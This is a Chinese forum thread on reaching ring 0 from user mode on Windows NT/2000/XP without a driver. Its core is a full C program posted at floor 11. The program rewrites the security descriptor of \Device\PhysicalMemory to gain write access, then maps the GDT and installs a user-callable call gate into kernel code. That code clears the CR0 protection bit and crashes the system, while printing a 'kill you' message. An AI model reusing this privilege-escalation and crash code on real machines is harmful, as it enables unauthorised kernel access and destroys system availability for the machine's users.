能力值：
( LV12，RANK：650 )
3 楼
2K/XP下应该只能写WDM了，98就简单多了，SEH、加个中断门、调用门、任务门什么的都能进，进了不知道干什么，除了破坏能不能干别的？:D
能力值：
( LV9，RANK：250 )
4 楼
最初由 RoBa 发布 2K/XP下应该只能写WDM了，98就简单多了，SEH、加个中断门、调用门、任务门什么的都能进，进了不知道干什么，除了破坏能不能干别的？:D
2K/xp进入ring0有很多方法
能力值：
( LV2，RANK：10 )
7 楼
不好意思，我是一只菜鸟。请问WDM是什么意思啊:D
能力值：
(RANK：10 )
11 楼
#include <stdio.h>
#include <windows.h>
#include<Accctrl.h>
#include<Aclapi.h>
#define NTSTATUS unsigned int
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define Ring0_Code_Sel ((unsigned short int)0x0008)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
/*
#define LOWORD(l) ((unsigned short)(unsigned int)(l))
#define HIWORD(l) ((unsigned short)((((unsigned int)(l)) >> 16) & 0xFFFF))
*/
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_VALID_ATTRIBUTES 0x000003F2L
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
typedef struct _GDTR
{
WORD wLimit; //界限
WORD dwBaseLow; //基址
WORD dwBaseHigh;
}GDTR,*PGDTR; //48位的GDTR
typedef struct tagGDT_DESCRIPTOR
{
unsigned limit : 16;
unsigned baselo : 16;
unsigned basemid : 8;
unsigned type : 4;
unsigned system : 1;
unsigned dpl : 2;
unsigned present : 1;
unsigned limithi : 4;
unsigned available : 1;
unsigned zero : 1;
unsigned size : 1;
unsigned granularity : 1;
unsigned basehi : 8;
}GDT_DESCRIPTOR, *PGDT_DESCRIPTOR;
typedef struct tagCALLGATE_DESCRIPTOR
{
unsigned short offset_0_15;
unsigned short selector;
unsigned char param_count : 4;
unsigned char some_bits : 4;
unsigned char type : 4;
unsigned char app_system : 1;
unsigned char dpl : 2;
unsigned char present : 1;
unsigned short offset_16_31;
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;
typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
BOOL LoadNativeApi(void);
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection);
ULONG MiniMmGetPhysicalAddress(ULONG virtualaddress);
void __declspec(naked)Ring0Call(void)
{
__asm {
pushad
pushfd
cli
}
//这里我直接将CPU模式转换成实模式，导致win2K异常
_asm mov eax,cr0;
_asm and eax,0xfffffffe;
_asm mov cr0,eax;
__asm {
popfd
popad
retf
}
}
int main(void)
{
GDTR Gdtr;
DWORD dwBase;
NTSTATUS status;
UNICODE_STRING physmemString;
OBJECT_ATTRIBUTES attributes;
HANDLE hSection=NULL;
ULONG PhyAddress;
PVOID GdtphyAddr=NULL;
PCALLGATE_DESCRIPTOR Callgatedes;
PGDT_DESCRIPTOR Gdtdes;
//DWORD *GdtStart;
WORD wGdtIndex=1;
short farcall[3];
_asm sgdt Gdtr;
_asm mov ax,Gdtr.dwBaseLow;
_asm mov bx,Gdtr.dwBaseHigh;
_asm shl ebx,16;
_asm mov bx,ax;
_asm mov dwBase,ebx;
printf("Gdt BaseAddress:0x%08x,Limit:%d\n",dwBase,Gdtr.wLimit);
PhyAddress = MiniMmGetPhysicalAddress(dwBase);
//在这里得到了GDT的基地址和界限
/////////////////////////////////////////////////////////////////////////////////////
if(!LoadNativeApi())
{
printf("Load Function Failed\n");
return 0;
}
//加载需要NativeApi
/////////////////////////////////////////////////////////////////////////////////////
RtlInitUnicodeString(&physmemString, L"\\Device\\PhysicalMemory");
attributes.Length = sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory = NULL;
attributes.ObjectName = &physmemString;
attributes.Attributes = 0;
attributes.SecurityDescriptor = NULL;
attributes.SecurityQualityOfService = NULL;
status = ZwOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
if(status == STATUS_ACCESS_DENIED)
{
status = ZwOpenSection(&hSection,READ_CONTROL|WRITE_DAC,&attributes);
SetPhyscialMemorySectionCanBeWrited(hSection);
CloseHandle(hSection);
status =ZwOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
}
if(!NT_SUCCESS(status))
{
printf("Open Kernel Object Failed\n");
return 0;
}
GdtphyAddr = MapViewOfFile(hSection,FILE_MAP_READ|FILE_MAP_WRITE,0,PhyAddress,Gdtr.wLimit);
if(!GdtphyAddr)
{
printf("MapViewOfFile Error,Code:%d\n",GetLastError());
return 0;
}
//在GDT中寻找空描述符,准备添加调用门
Gdtdes = (PGDT_DESCRIPTOR)GdtphyAddr;
Gdtdes++;
while(wGdtIndex<Gdtr.wLimit)
{
if(Gdtdes->present==0)
{
Callgatedes = (PCALLGATE_DESCRIPTOR)Gdtdes;
Callgatedes->offset_0_15 = LOWORD(Ring0Call);
Callgatedes->selector = 8; // 内核段选择子
Callgatedes->param_count = 0; // 参数复制数量
Callgatedes->some_bits = 0;
Callgatedes->type = 0xC; // 386调用门
Callgatedes->app_system = 0; // 系统描述符
Callgatedes->dpl = 3; // RING 3 可调用
Callgatedes->present = 1; // 设置存在位
Callgatedes->offset_16_31 = HIWORD(Ring0Call);
break;
}
wGdtIndex++;
Gdtdes++;
}
UnmapViewOfFile(GdtphyAddr);
CloseHandle(hSection);
farcall[2] = ((short)((ULONG)Callgatedes - (ULONG)GdtphyAddr))|3;
printf("callgate seletor:0x%x\nI will kill you,goodbye!!!",farcall[2]);
Sleep(1000);
_asm call fword ptr [farcall];
return 1;
}
BOOL LoadNativeApi(void)
{
HMODULE hNtdll=NULL;
hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll==NULL)
{
printf("Load ntdll.dll Failed,code:%d\n",GetLastError());
return FALSE;
}
RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress(hNtdll,"RtlInitUnicodeString");
if(RtlInitUnicodeString==NULL)
{
printf("Get RtlInitUnicodeString Error,Code:%d\n",GetLastError());
return FALSE;
}
ZwOpenSection = (ZWOPENSECTION)GetProcAddress(hNtdll,"ZwOpenSection");
if(ZwOpenSection==NULL)
{
printf("Get ZwOpenSection Error,Code:%d\n",GetLastError());
return FALSE;
}
printf("Load Function .... Success!\n");
return TRUE;
}
ULONG MiniMmGetPhysicalAddress(ULONG virtualaddress)
{
if(virtualaddress<0x80000000||virtualaddress>=0xa0000000)
return 0;
return virtualaddress&0x1FFFF000;
}
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
PACL pDacl=NULL;
PACL pNewDacl=NULL;
PSECURITY_DESCRIPTOR pSD=NULL;
DWORD dwRes;
EXPLICIT_ACCESS ea;
if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
{
goto CleanUp;
}
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";
if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
{
goto CleanUp;
}
if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
{
goto CleanUp;
}
CleanUp:
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}
能力值：
( LV4，RANK：50 )
12 楼
我记得老罗的论坛上的有个人用MASM写了一个非驱动进RING 0级的。还有就是我的偶像HUME用FASM也写了一个，另WEBCRAZY的网站上有一个原创的C写的非驱动进RING 0级的。这三个用的都是WEBCRAZY的应用程序进RING 0的方法。在29A的杂志上好象也有一个类似的例子！但是我还是比较喜欢写驱动进RING 0级。
能力值：
( LV2，RANK：10 )
13 楼
最初由 采臣・宁 发布 我记得老罗的论坛上的有个人用MASM写了一个非驱动进RING 0级的。还有就是我的偶像HUME用FASM也写了一个，另WEBCRAZY的网站上有一个原创的C写的非驱动进RING 0级的。这三个用的都是WEBCRAZY的应用程序进RING 0的方法。在29A的杂志上好象也有一个类似的例子！但是我还是比较喜欢写驱动进RING 0级。
C 的能贴出来吗？
能力值：
( LV4，RANK：50 )
16 楼
Windows NT/2000/XP下不用驱动的Ring0代码实现
